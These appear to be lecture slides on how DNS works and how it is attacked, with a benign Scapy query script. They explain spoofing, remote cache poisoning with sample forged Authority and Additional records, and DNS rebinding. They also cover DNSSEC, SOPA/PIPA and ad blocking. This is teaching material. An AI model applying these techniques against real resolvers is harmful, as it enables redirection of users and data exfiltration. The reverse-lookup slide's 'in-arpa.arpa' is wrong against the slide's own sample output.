Well known DNS IPv4 servers

• 1.1.1.1 and 1.0.0.1: Cloudflare's public DNS servers
• 8.8.8.8 and 8.8.4.4: Google's public DNS servers
  • 8.8.8.8 is what our Docker containers use
• 94.140.14.14 and 94.140.15.15: AdGuard DNS

See more here

DNS Root Servers

• Named after letters a-m
• Originally all in the US, now half are distributed
• Their IPs are hard-coded in the OS, or via OS updates

DNS Root Servers

Top Level Domain (TLD)

DNS Information Tools

• dig: DNS lookup utility; shows the info a DNS server returns
• nslookup: really the same thing as dig
  • nslookup uses it's own libraries, whereas dig uses the OS ones
• whois: lookup registry information for a domain
• rndc: name server control utility; we'll use it for viewing and flushing the DNS cache

DNS Resolution

• The host first checks /etc/hosts:

127.0.0.1       localhost coolservername
127.0.1.1       othercoolservername

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

128.143.69.114 portal portal.cs.virginia.edu

• If not found, it then contacts the DNS resolver in /etc/resolv.conf:

nameserver 8.8.8.8

DNS Resolution

A query is made to the DNS resolver, which:

1. Contacts a root NS, asking for www.cs.virginia.edu
   • Response: contact the .edu TLD nameserver at 192.33.14.30
2. Contacts the .edu TLD NS, asking for www.cs.virginia.edu
   • Response: contact virginia.edu's nameservers at 128.143.107.117
3. Contacts virginia.edu's NS, asking for www.cs.virginia.edu
   • Response: contact cs.virginia.edu's nameservers at 128.143.67.64
4. Contacts cs.virginia.edu's NS, asking for www.cs.virginia.edu
   • Response: the authoritative answer is 128.143.67.11

dig Response

• There are at most four different sections in a dig response
• Question: what is being asked (the DNS query)
• If this is the authoritative nameserver for the domain:
  • Answer: the IP that the domain resolves to
• If this is not the authoritative nameserver for the domain:
  • Authority: the DNS (one level down) to ask
• Additional: additional information, such as the IPs of the (one level down) DNSes

DNS Cache

• To speed up the queries, DNS entries are cached for a limited amount of time
  • Typically 24 hours
• Then they are requested again again
• To view the DNS cache (on Linux):
  • rndc dumpdb -cache
  • Then view /var/cache/bind/named_dump.db
• To flush the cache: rndc flush

DNS Packet Header

DNS Header Flags

Just the relevant ones are shown here

• qr: whether a query (0) or response (1)
• aa: whether answer is authoritative (1) or not (0)
• rd: for queries, is recursion desired (1) or not (0)

Sending a DNS query

#!/usr/bin/env python3
from scapy.all import *

IPpkt  = IP(dst='8.8.8.8') # Google's DNS
UDPpkt = UDP(dport=53)

Qdsec    = DNSQR(qname='www.virginia.edu') 
DNSpkt   = DNS(id=100, qr=0, qdcount=1, qd=Qdsec)
Querypkt = IPpkt/UDPpkt/DNSpkt
Replypkt = sr1(Querypkt)
reply = Replypkt[DNS]
print(repr(reply))

DNS Attack Surfaces

On the local machine (1), between the resolver and the local machine (2), between the resolver and the Internet (3), and a malicious DNS server (4)

2: DNS Attacks on Host

• When a DNS query is launched from the user's machine to the DNS server, immediately send a spoofed reply
• This is the right-most "attacker" icon in the diagram

DNS Spoof Attack nslookup Output

root@outer1:/# nslookup example.com
Server:   192.168.100.1
Address:  192.168.100.1#53

Non-authoritative answer:
Name: example.com
Address: 1.2.3.4

root@outer1:/# 

This only works the first time

• The first time example.com is queried, the firewall nameserver sends a message out to the Internet to get the mapping
  • Possibly with a delay
  • But allowing Scapy to send the spoofed packet
• The the real mapping is in the DNS cache
  • And this the response is very quick the second time around
• Solution: modify the DNS cache

3: DNS Cache Poisoning Attack

• When a DNS query is launched from the user's machine to the DNS server, immediately send a spoofed reply
• This is the left-most "attacker" icon in the diagram

3: DNS Cache Poisoning Attack

• If one has access to the interface from the DNS server to the Internet, it's much like the previous example
  • Remote is harder, but possible

Targeting the Authority Section

• A DNS spoof attack would also target the authority section
  • The authoritative nameserver for the domain
• So if example.com were spoofed, a fake sub-domain (ns.example.com) would be registered as the authority
  • Along with an IP address of a malicious nameserver
• Then any query to *.example.com will use that (malicious) nameserver

More Cache, More Problems

• We have a 1 in a $2^{32}$ (about 4.3 billion) chance of guessing the right numbers
  • UDP source port and DNS transaction ID
  • Incorrect values will cause the spoofed reply to be ignored
• If we guess it wrong, the correct one will arrive, and stay in cache
  • For one or more days
• So we can't try again until we wait...

Remote DNS Cache Poisoning

• In order to perform a remote DNS cache poisoning attack, we have to perform three steps:
  1. Trigger the victim machine to perform a DNS query
  2. Negate the cache effect
  3. Spoof the reply
• We are going to do this for a sub-domain of example.com

Step 1: Trigger the DNS query

• Perhaps we have a user (non-root) account on that machine
  • Then nslookup foo.example.com will do it
• Maybe we control a website that users in that organization frequent
  • Try to load an image from foo.example.com
• Send a email that includes a link or embedded image
• The list goes on and on...

Step 2: Negate the cache effect

• We query various random sub-domains of example.com
  • We assume a example.com nameserver is not included in the initial example.com query
  • If it is, pick a different domain
• Each new sub-domain will not be in cache
  • It will save the response in cache, but we'll use a different sub-domain next time
• Thus, the cache effect is negated

Remote DNS Cache Poisoning

We set the authority

• Eventually a response will make it in
• That response will also include an authority section
  • Setting a malicious nameserver as the nameserver for *.example.com
• Only a response that makes it in
  • And responds to the query (via answer or authority)
  • Will be accepted, and we can add the authority section to that
• A query to another sub-domain can then cause real damage
  • We'll see this shortly

Fake data in the Answer section

• That's easy: just redirect certain domains to malicious servers

Fake data in the Additional section

• Consider fake data sent in the Additional section:

;; QUESTION SECTION:
;abc.example.com              IN A

;; ANSWER SECTION:
abc.example.com     86400     IN A   1.2.3.4

;; ADDITIONAL SECTION:
www.example.com     86400     IN A   1.2.3.5
instagram.com       86400     IN A   1.2.3.6

• We've now changed the IP address of instagram.com via our malicious nameserver
  • Even though the query was for another sub-domain of example.com

Fake data in the Authority section

• Consider fake data sent in the Additional section:

;; QUESTION SECTION:
;abc.example.com              IN A

;; ANSWER SECTION:
abc.example.com     86400     IN A   1.2.3.4

;; AUTHORITY SECTION:
example.com         86400     IN NS  ns.example.com
instagram.com       86400     IN NS  ns.example.com

• We've now changed the DNS server of instagram.com via our malicious nameserver
  • Even though the query was for another sub-domain of example.com

Fake Authority and Additional sections

;; QUESTION SECTION:
;abc.example.com              IN A

;; ANSWER SECTION:
abc.example.com     86400     IN A   1.2.3.4

;; AUTHORITY SECTION:
example.com         86400     IN NS  ns.example.com
example.com         86400     IN NS  instagram.com

;; ADDITIONAL SECTION:
ns.example.com      86400     IN A   1.2.3.5
instagram.com       86400     IN A   1.2.3.6

• This combines the previous two examples

Homework diagram

Reverse DNS Lookup

Consider:

$ ping -c 1 portal.cs.virginia.edu
PING portal (128.143.69.114) 56(84) bytes of data.
64 bytes from portal (128.143.69.114): icmp_seq=1 ttl=63 time=0.216 ms

$ nslookup 128.143.69.114
114.69.143.128.in-addr.arpa name = portal.
114.69.143.128.in-addr.arpa name = portal.cs.virginia.edu.

$ 

• The first is a standard DNS lookup
• The second is a reverse DNS lookup

Reverse DNS Lookup

• Take the IP address: 128.143.69.114
• Reverse it and add ".in-arpa.arpa"
  • 114.69.143.128.in-arpa.arpa
• This will:
  • Query the in-arpa.arpa server
  • Which directs it to the 128.in-arpa.arpa server
  • Which directs it to the 143.128.in-arpa.arpa.server (that's UVA)
  • Which directs it to the actual nameserver for UVA

What damage could this cause

• If any security is based on the domain it came from
  • An example close to home
• One should generally not use this as a basis for security
• But if you do, to be sure, do a forward lookup after obtaining the domain

Background: same origin policy (SOP)

• Web browsers only allow one script to access data from another script if the scripts:
  • Are on the same domain
  • Use the same protocol
  • Use the same port
• This prevents a malicious script from accessing the data from another script

DNS Rebinding Attack

• Imagine you wanted to attack a machine behind a firewall
  • The firewall prevents direct connections
• You could have a script in a web page that attacks the server
  • But the same origin policy prevents this (actually just the replies)
• We assume the DNS server used by the machine for this particular host is malicious
  • Set via any of the methods above
• This attack used against IoT devices

DNS Rebinding Attack

• Have the DNS TTL set to 0
• The user pulls up a web page from www.sketchydomain.com
  • The malicious DNS server returns the correct IP mapping
• The JS code attempts a connection to "www.sketchydomain.com"
  • The DNS mapping, no longer in cache, is requested again
  • The malicious DNS now maps to the local server (re-bound)
• Possibly, once the attack is done, and info has to go back to the attacker
  • The JS code attempts another connection to "www.sketchydomain.com"
  • This time the malicious DNS server gives the correct IP
  • Information is then exfiltrated

Rebinding Attack Countermeasures

• Use DNSSEC
• Have the browsers can implement DNS pinning: the domain -> IP mapping is fixed for the "life" of the web page viewing
• DNS servers (or processes on the computer) can filter out private IP addresses or the loopback address
  • Can be done in the firewall also
• Browser extensions (NoScript) block this

Denial of Service attacks

• If we can bring down a DNS server, a lot of damage can be caused
• The root and TLD nameservers:
  • Are highly distributed, and carefully configured against these types of attacks
• Not so much of individual domain nameservers

New Fields

• Fields:
  • RRSIG: contains the signatures for the records in the response
  • DNSKEY: the public key that creates said signature
  • DS: the hash of the key one level down
  • NSEC: next record name in the zone
  • NSEC3: next record name in the zone, but with a cryptographic hash
• The root DNS key:
  • Can ship with the OS or updates
  • Can be gotten through a TLS / website certificate authority, such as Verisign

Diagram

Slow Adoption

• Adoption of DNSSEC has been slow because:
  • It has to be backwards-compatible with DNS, and scale to the size of the Internet
  • Difficulties preventing zone enumeration (aka zone walking)
    • If using NSEC, one can "walk" through the zones, enumerating the hostnames
  • Lots of DNS resolvers, with different implementations, have to implement DNSSEC
  • Who should own the TLD and root keys?
  • Complexity of DNSSEC deployment
  • Messy evolution of the protocol
• How slow? See a 2018 graph here
  • Another on the next slide

Adoption graph

SOPA & PIPA: Hosting user content

• Sites that host user content are not liable for an illegal posting ...
  • Here 'illegal' means posting of copyrighted material
• AS LONG AS the site takes the content down when notified in due course
• Under SOPA, any such site could be taken down for hosting illegal content without giving them the chance to take it down themselves
  • But upon an accusation only; no need for proof!
  • This is contrary to the whole concept of innocent-until-proven-guilty!
• So one user post could take down an entire domain
• Many sites would no longer be able to exist: etsy, flickr, vimeo, etc.

SOPA & PIPA & DNSSEC

• DNSSEC requires browsers (really, application-level software) must continue searching DNS servers until it finds one -- possibly overseas -- that provides untampered results
• But this would be illegal under SOPA & PIPA
• The attorney general can sue "any entity that knowingly and willfully provides ... a product ... for the circumvention or bypassing of" removed websites
  • Meaning nobody in the US could provide DNSSEC or use it

Other SOPA & PIPA issues

• Deep packet inspection would be required of all ISPs to check for pirated content
  • Thus making TLS and HTTPS illegal
• Users could be criminally liable if a video they posted inadvertently had a commercial logo in it
  • Like a Pepsi can in the background
• Knowledgeable uses would be able to bypass this with various tools
• The US gov't supports these tools for others in non-free countries
  • But would prevent them in the US

How ads work

• It's not feasible for each website to contract out with each advertiser
• Enter the middle-men: ad purveyors that:
  • Contact out with those advertising
  • Pay those displaying the advertisements
• One of the largest: Google Marketing Platform via Google Ad Manager

Bidding Advertisement Model

• Each advertiser creates a series of parameters to determine a bid
• When a web page is served, the info available...
  • IP, location, identity, browser, OS, what-not
• ... is passed to each of the bidders
• Whomever offers the highest price will have their ad displayed
  • This price is likely well under 1 cent

Pay-per-click Advertisement Model

• Given a search for something that provides ads
• The links provided appear to go to the advertiser
• But likely redirect to the search engine that redirects to the advertiser
  • Thus, the search engine (or ad purveyor) knows which links were clicked on
  • Sometimes this is obvious, other times it's handled via Javascript and more hidden
• Cost per click: typically $0.50 to $2.50, but can be $50-$100 for certain keywords

How to remove ads

• In addition to ad blockers...
• Both models have certain URL servers that manage the display of ads
• So we can have the DNS server not resolve the hostnames of the ad servers

Ad Removal Technique 1

• Use a DNS server that does this blocking
• Of the list of public DNS servers:
  • 94.140.14.14 and 94.140.15.15: AdGuard DNS
• You can hard-code this DNS server on your computer
  • Or modify your home gateway's DHCP settings to use this DNS server
    • Doing it this way removes ads from your TV, phones, etc.